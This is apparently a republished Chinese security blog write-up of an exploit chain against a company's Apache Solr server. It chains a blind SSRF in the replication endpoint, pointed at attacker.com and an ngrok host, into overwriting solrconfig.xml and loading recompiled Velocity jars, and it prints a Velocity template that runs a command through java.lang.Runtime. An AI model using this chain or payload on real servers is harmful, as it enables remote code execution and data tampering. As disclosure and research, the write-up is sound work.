去年,笔者在同一私有项目的不同Solr服务器上发现了三个漏洞,其中部分漏洞已在本博客的另一篇文章中描述。笔者强烈建议阅读该文,因为它介绍了本文将要讨论的一些Solr核心概念。
在此期间,笔者还在其中一个仅存储欧洲区所有商店前端数据(产品名称、价格、链接等)的Solr服务器中发现了一个已知的盲SSRF漏洞(CVE-2021-27905)。该服务器允许自由查询且不包含任何敏感信息。由于这并非高危漏洞,笔者没有将它上报,而是计划将其作为未来复杂利用链的潜在组件。但最终搁置了这个想法,转向了其他无关项目。
首要目标是透彻理解这个最初仅通过常规Solr漏洞扫描发现的盲SSRF。该漏洞位于核心的复制端点"/solr//replication"。Solr中的核心(core)即服务器中的独立数据集,本例中每个语言区域对应一个核心(如"de"代表德语)。触发漏洞的URL示例如下:
https://target.com/solr/de/replication?command=fetchindex&leaderUrl=https://attacker.com
为了深入了解此漏洞涉及的所有功能,需要查阅Solr文档。幸运的是,Apache维护了一个庞大的文档门户,因此很容易找到与索引复制相关的章节。通过文档,可以了解到复制功能允许在多个Solr实例之间构建基础设施,其中“主节点/服务器(leader)”实例将数据副本分发给“从节点/服务器(follower)”实例。主服务器负责数据更新,而从服务器处理查询。
参与此架构的每个实例都必须启用复制请求处理器(“/replication”),该处理器根据角色(主服务器或从服务器)接受一系列命令。例如,“fetchindex”命令允许从服务器在指定主服务器拉取索引副本。这意味着目标服务器作为从服务器,可以通过“fetchindex”命令指定任意主服务器进行一次性复制。
fetchindex Force the specified follower to fetch a copy of the index from its leader.http://_follower_host:port_/solr/_core_name_/replication?command=fetchindex 你可以传递额外的属性,例如 leaderUrl 或 compression(或在“配置从服务器”中描述的任何其他参数),以执行一次性从主服务器复制的操作。这避免了在从服务器配置中硬编码主服务器 URL 的需求。
https://target.com/solr/de/replication?command=details
于是,笔者从Solr官网下载了最新的二进制发布版本,并按照他们的部署指南进行操作。这个二进制版本包含一个命令行工具,可以用来启动/停止Solr、管理核心等。这样,我们可以使用以下命令在端口 9000 上启动一个新的 Solr 服务器:
$ bin/solr start -p 9000
当 "start" 命令执行完成后,可以通过"http://127.0.0.1:9000/"访问管理界面。
下一步是创建一个核心(core)。以下命令会创建一个名为"hacefresk0"
的空核心:
$ bin/solr create -c hacefresk0
然后,可以通过select
请求处理程序对其进行查询:
接下来,需要为该核心配置复制(replication)请求处理程序,使其成为目标服务器的从属(follower)。为此,我需要编辑核心的配置文件,文件路径为"server/solr/hacefresk0/conf/solrconfig.xml"
,并添加以下元素:
<requestHandlername="/replication"class="solr.ReplicationHandler"><lstname="slave"><strname="leaderUrl">https://target.com/solr/de/</str><strname="pollInterval">00:00:20</str></lst></requestHandler>
"leaderUrl"
必须被显式加入白名单,或者在启动时使用"-Dsolr.disable.allowUrls=true"
这个标志。这非常有趣,因为这意味着目标服务器可能也在使用这个标志,尽管Solr警告这并不是一个安全的做法。$ bin/solr stop; bin/solr start -p 9000 -Dsolr.disable.allowUrls=true
然后,再次执行"fetchindex"
命令,成功从目标服务器复制了数据集!
现在可以在本地进行查询了:
"disablepoll"
停止从目标服务器获取更多数据,因为新的复制操作会覆盖本地的更改。"1337"
,标题为"Hacked by hacefresk0"
的条目。:P此时,已成功复制了目标服务器的数据集,并添加了一个新的1337-elite-hacker记录。接下来,需要检查是否可以将该数据集分发回目标服务器,还是这只是一个无用的尝试。
为了将本地服务器配置为复制主服务器(replication leader),而不是从服务器(follower),我需要修改先前添加到核心配置文件中的复制请求处理程序(replication request handler)配置,如下所示:
<requestHandlername="/replication"class="solr.ReplicationHandler"><lstname="leader"><strname="replicateAfter">optimize</str><strname="backupAfter">optimize</str></lst></requestHandler>
然后,重新启动服务器以应用更改,并使用ngrok将本地主服务器暴露到互联网:
$ ngrok http 9000
为了检查复制主服务器是否正常工作,笔者首先在本地进行了测试,创建了一个名为"replica"
的新核心,并将其配置为从服务器(follower),指向ngrok提供的URL:
<requestHandlername="/replication"class="solr.ReplicationHandler"><lstname="slave"><strname="leaderUrl">https://<ngrok_url>/solr/hacefresk0/</str><strname="pollInterval">00:00:20</str></lst></requestHandler>
执行"fetchindex"
命令,成功从本地主服务器复制了数据集!
接下来,在目标服务器上执行该操作了,访问以下URL以触发复制:
https://target.com/solr/de/replication?command=fetchindex&leaderUrl=https://<ngrok_url>/solr/hacefresk0/
"fetchindex"
命令——成功了!confFiles 可选 | 默认值:无要复制到从服务器的配置文件,多个文件用逗号分隔。这些文件应包括像模式(schema)、停用词(stopwords)以及其他可能会在主服务器上更改,并需要在从服务器上更新以便用于查询的配置文件。[...]
现在可以确定了复制是可行的,笔者进一步调查这个问题。实际上,这个参数允许主服务器指定一组配置文件,这些配置文件与"solrconfig.xml"位于同一目录,并被复制到从服务器。一旦它们被接收,它们就会像服务器重新启动一样被加载。还可以指定这些配置文件在到达从服务器后使用的文件名。我想测试是否能够通过这个参数将任意的配置文件传递到目标服务器。因此,我创建了一个名为"hacefresk0-config.xml"的新文件,它将在目标服务器上重命名为"solrconfig.xml",从而覆盖其原有的配置文件。为了能够分发这个文件,笔者在本地服务器的复制请求处理程序中添加了相应的"confFiles"元素:
<requestHandlername="/replication"class="solr.ReplicationHandler"><lstname="leader"><strname="replicateAfter">optimize</str><strname="backupAfter">optimize</str><strname="confFiles">hacefresk0-config.xml:solrconfig.xml</str></lst></requestHandler>
文件"hacefresk0-config.xml"是Solr 8.11默认的"solrconfig.xml"文件的副本,并进行了些许修改。由于在"details"命令的服务器响应中显示了主服务器URL,笔者添加了一个自定义的URL以检查新的配置是否会成功加载到服务器中。笔者使用的主服务器URL就是当前的那个,它对应公司的一个内部服务器,但显式指定了"443"端口:
<requestHandlername="/replication"class="solr.ReplicationHandler"><lstname="slave"><strname="leaderUrl">https://leader.target.com:443/solr/de/</str><strname="pollInterval">00:00:20</str></lst></requestHandler>
下一步是尝试利用这个行为来实现远程代码执行(RCE)。
在这一点上,笔者开始寻找Solr中已知的RCE漏洞,并调查是否可以通过修改核心配置文件来触发其中的任何一个。除了阅读Solr文档外,笔者还查阅了许多有用的文章,例如这篇关于 "Solr 注入" 的文章 和 这篇专门讨论 Solr RCE 的文章。此外,笔者还查看了[nuclei模板库](https://github.com/search?q=repo%3Aprojectdiscovery%2Fnuclei-templatessolr&type=code),这是一个很好的漏洞源。结果发现了有许多案例,在旧版本中可以通过配置文件启用危险功能,但之后开发者做了限制,要求只能通过Solr二进制文件或环境变量来管理。例如,远程流媒体就是一个例子。远程流媒体的功能就被限制了。另一个大限制是目标服务器只允许访问"/select"和"/replication",这意味着无法使用任何最终依赖于其他请求处理程序的漏洞。经历了很多曲折的过程后,笔者最终使用了Velocity 模板,它是一种非常强大的基于Java的模板,过去曾被用来利用Solr。以下是一个简单的例子:
<html><body> Hello $customer.Name! <table> #foreach( $mud in $mudsOnSpecial ) #if ( $customer.hasPurchased($mud) ) <tr><td>$flogger.getPromo( $mud )</td></tr> #end #end </table></body></html>
<requestHandlername="/replication"class="solr.ReplicationHandler"><lstname="leader"><strname="replicateAfter">optimize</str><strname="backupAfter">optimize</str><strname="confFiles">solritas-0.9.5.jar,velocity-engine-core-2.1.jar,velocity-tools-generic-3.0.jar</str></lst></requestHandler>
对于从服务器,笔者配置了一个简单的从服务器复制请求处理程序,指向主服务器实例:
<requestHandlername="/replication"class="solr.ReplicationHandler"><lstname="slave"><strname="leaderUrl">http://localhost:9000/solr/leader/</str><strname="pollInterval">00:00:20</str></lst></requestHandler>
solrconfig.xml
。笔者添加了一个<lib>
元素来导入server/solr/follower/conf/
目录中的所有.jar库,并添加了一个<queryResponseWriter>
元素来启用Velocity:<libdir="conf/"regex=".*.jar"/><queryResponseWritername="velocity"class="solr.VelocityResponseWriter"><strname="template.base.dir"></str></queryResponseWriter>
/select?q=1&wt=velocity&v.template=browse&v.layout=layout
,成功渲染了默认的Velocity模板"browse",这意味着Velocity已被启用。solrconfig.xml
来启用Velocity。现在唯一缺少的部分是提供一个恶意的Velocity模板,以实现远程代码执行(RCE)。在旧版本中,一旦Velocity被启用,可以直接通过/select
请求处理器的URL参数执行自定义模板,类似于之前渲染默认"browse"模板的方式。然而,当我尝试这样做时,发现现在Velocity仅支持从本地文件系统加载模板。id
命令,并将其保存为server/solr/follower/conf/velocity/rce.vm
:#set($x='') #set($rt=$x.class.forName('java.lang.Runtime')) #set($chr=$x.class.forName('java.lang.Character')) #set($str=$x.class.forName('java.lang.String')) #set($ex=$rt.getRuntime().exec('id')) $ex.waitFor() #set($out=$ex.getInputStream()) #foreach($i in [1..$out.available()]) $str.valueOf($chr.toChars($out.read())) #end
/select?q=1&wt=velocity&v.template=rce
以渲染该模板,但它并没有执行id命令。在多次检查模板语法是否正确并花费数小时搜索后,笔者勉强理解了它没有正确执行的原因。看起来Velocity引擎被配置为不允许实例化新类(与一个名为SecureUberspector
的内部类有关,详情见此问题。这意味着$x.class.forName()
的调用根本没有被执行。到了这个阶段,笔者已经没有新的思路,于是再次休息了几天。
其中一个结果位于solr-velocity/src/main/java/org/apache/solr/response/VelocityResponseWriter.java
,它正是负责禁用新类实例化的代码!
pom.xml
文件中的一个依赖问题后,成功重新编译了.jar文件。/select?q=1&wt=velocity&v.template=rce
渲染rce.vm
模板:src/main/resources/browse.vm
模板,并创建了一个Poc来执行id
命令,以证明笔者能够在目标服务器上进行RCE:<title>Hacked by hacefresk0</title> <h1>Hacked by hacefresk0</h1> <br> <pre> #set($x='') #set($rt=$x.class.forName('java.lang.Runtime')) #set($chr=$x.class.forName('java.lang.Character')) #set($str=$x.class.forName('java.lang.String')) #set($ex=$rt.getRuntime().exec('id')) $ex.waitFor() #set($out=$ex.getInputStream()) #foreach($i in [1..$out.available()])$str.valueOf($chr.toChars($out.read()))#end </pre>
solrconfig.xml
文件和修改后的Velocity.jar库,同时提供数据集。solrconfig.xml
文件和修改后的Velocity.jar库:<requestHandlername="/replication"class="solr.ReplicationHandler"><lstname="leader"><strname="replicateAfter">optimize</str><strname="backupAfter">optimize</str><strname="confFiles">malicious-solrconfig.xml:solrconfig.xml,solritas-0.9.5.jar,velocity-engine-core-2.1.jar,velocity-tools-generic-3.0.jar</str></lst></requestHandler>
solrconfig.xml
包含了:<lib>
元素,用于导入.jar库。<queryResponseWriter>
元素,用于启用Velocity。<libdir="conf/"regex=".*.jar"/><queryResponseWritername="velocity"class="solr.VelocityResponseWriter"><strname="template.base.dir"></str></queryResponseWriter><requestHandlername="/replication"class="solr.ReplicationHandler"><lstname="slave"><strname="leaderUrl">https://leader.target.com:443/solr/de/</str><strname="pollInterval">00:00:20</str></lst></requestHandler>
https://target.com/solr/de/replication?command=fetchindex&leaderUrl=https://<ngrok_url>/solr/hacefresk0/
id
命令!:D/replication
站点立刻被关闭,这让笔者怀疑之前的报告并没有真正证明RCE可行。原文始发于微信公众号(山石网科安全技术研究院):Solr服务器上的“花式”远程代码执行(RCE)
- 左青龙
- 微信扫一扫
-
- 右白虎
- 微信扫一扫
-
评论